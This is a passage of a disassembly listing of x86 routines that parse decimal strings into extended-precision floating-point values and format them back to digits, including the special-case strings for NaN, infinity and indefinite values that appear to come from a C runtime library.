; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43CBE8
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43CBE8
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43CBE8
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43CBE4, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43CBE8
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43CBE4, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43CBE4, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43CBE4, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43CBE4, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


